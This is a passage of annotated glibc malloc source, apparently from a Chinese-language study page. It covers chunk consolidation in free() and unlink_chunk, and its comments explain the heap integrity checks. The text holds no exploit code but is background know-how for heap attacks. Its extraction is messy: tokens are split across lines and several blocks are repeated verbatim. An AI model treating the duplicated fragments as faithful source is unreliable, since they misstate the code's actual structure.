// 如果上一个chunk是空闲的
{
// 获取prev_size大小
// chunk hdr 开头:prec_size size
prevsize = prev_size(p);
// 计算总大小
size += prevsize;
// 安全检查,使用prev_size计算出上一个chunk的地址,使用上一个chunk header的大小和下一个chunk的prev_size比较,如果不相等,报错
p = chunk_at_offset(p, -((
long
)prevsize));
if
(__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr(
"corrupted size vs. prev_size while consolidating"
);
// 断链上一个chunk
unlink_chunk(av, p);
}
if
(nextchunk != av->top)
{
// 获取再下一个chunk的inuse位
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
// 如果是空闲的,说明下一个chunk也是空闲的,合并
if
(!nextinuse)
{
// 再次断链
unlink_chunk(av, nextchunk);
// 大小累加
size += nextsize;
}
else
// 否则,就清空下一个chunk的prev_inuse位
clear_inuse_bit_at_offset(nextchunk, 0);
/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
// 放置chunk到unsorted chunk list
// 它们在被放置到bins里之前,有一次机会被malloc使用
bck = unsorted_chunks(av);
fwd = bck->fd;
// 安全检查:检查双向链表是否完整,但是只检查一个方向bck->fd->bk == bck
if
(__glibc_unlikely(fwd->bk != bck))
malloc_printerr(
"free(): corrupted unsorted chunks"
);
// 节点插入链表
p->fd = fwd;
p->bk = bck;
// 如果是largebin chunk
if
(!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
// 设置头部size和下一个chunk的prev_size
set_head(p, size | PREV_INUSE);
set_foot(p, size);
check_free_chunk(av, p);
}
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
// 如果下一个chunk是top chunk,就合并给top chunk
else
{
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
if
(nextchunk != av->top)
{
// 获取再下一个chunk的inuse位
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
// 如果是空闲的,说明下一个chunk也是空闲的,合并
if
(!nextinuse)
{
// 再次断链
unlink_chunk(av, nextchunk);
// 大小累加
size += nextsize;
}
else
// 否则,就清空下一个chunk的prev_inuse位
clear_inuse_bit_at_offset(nextchunk, 0);
/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
// 放置chunk到unsorted chunk list
// 它们在被放置到bins里之前,有一次机会被malloc使用
bck = unsorted_chunks(av);
fwd = bck->fd;
// 安全检查:检查双向链表是否完整,但是只检查一个方向bck->fd->bk == bck
if
(__glibc_unlikely(fwd->bk != bck))
malloc_printerr(
"free(): corrupted unsorted chunks"
);
// 节点插入链表
p->fd = fwd;
p->bk = bck;
// 如果是largebin chunk
if
(!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
// 设置头部size和下一个chunk的prev_size
set_head(p, size | PREV_INUSE);
set_foot(p, size);
check_free_chunk(av, p);
}
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
// 如果下一个chunk是top chunk,就合并给top chunk
else
{
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
/* Take a chunk off a bin list. */
static
void
unlink_chunk(mstate av, mchunkptr p)
{
// 安全检查:如果当前chunk的大小不等于next chunk的prev_size,说明被篡改了数据,报错
if
(chunksize(p) != prev_size(next_chunk(p)))
malloc_printerr(
"corrupted size vs. prev_size"
);
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
// 安全检查:如果当前chunk的fd的bk不等于当前chunk,或者bk的fd不等于当前chunk,说明双向链表链接出错,报错
if
(__builtin_expect(fd->bk != p || bk->fd != p, 0))
malloc_printerr(
"corrupted double-linked list"
);
// 断链操作
fd->bk = bk;
bk->fd = fd;
// 如果是large chunk
// 如果不是smallbin,且fd_nextsize不为空,说明是large chunk
if
(!in_smallbin_range(chunksize_nomask(p)) && p->fd_nextsize != NULL)
{
// 安全检查:largebin的第二条双链完整性检查
// 安全检查:如果fd_nextsize的bk_nextsize不等于p,或者bk_nextsize的fd_nextsize不等于p,说明双向链表链接出错,报错
if
(p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr(
"corrupted double-linked list (not small)"
);
// 如果存在其他大小范围的large chunk
if
(fd->fd_nextsize == NULL)
{
// 如果其他大小的large chunk是自己,就设置为自己
if
(p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
// nextsize链表断链
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
// 正常的断链
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
/* Take a chunk off a bin list. */
static
void
unlink_chunk(mstate av, mchunkptr p)
{
// 安全检查:如果当前chunk的大小不等于next chunk的prev_size,说明被篡改了数据,报错
if
(chunksize(p) != prev_size(next_chunk(p)))
malloc_printerr(
"corrupted size vs. prev_size"
);
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
// 安全检查:如果当前chunk的fd的bk不等于当前chunk,或者bk的fd不等于当前chunk,说明双向链表链接出错,报错
if
(__builtin_expect(fd->bk != p || bk->fd != p, 0))
malloc_printerr(
"corrupted double-linked list"
);
// 断链操作
fd->bk = bk;
bk->fd = fd;
// 如果是large chunk
// 如果不是smallbin,且fd_nextsize不为空,说明是large chunk
if
(!in_smallbin_range(chunksize_nomask(p)) && p->fd_nextsize != NULL)
{
// 安全检查:largebin的第二条双链完整性检查
// 安全检查:如果fd_nextsize的bk_nextsize不等于p,或者bk_nextsize的fd_nextsize不等于p,说明双向链表链接出错,报错
if
(p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr(
"corrupted double-linked list (not small)"
);
// 如果存在其他大小范围的large chunk
if
(fd->fd_nextsize == NULL)
{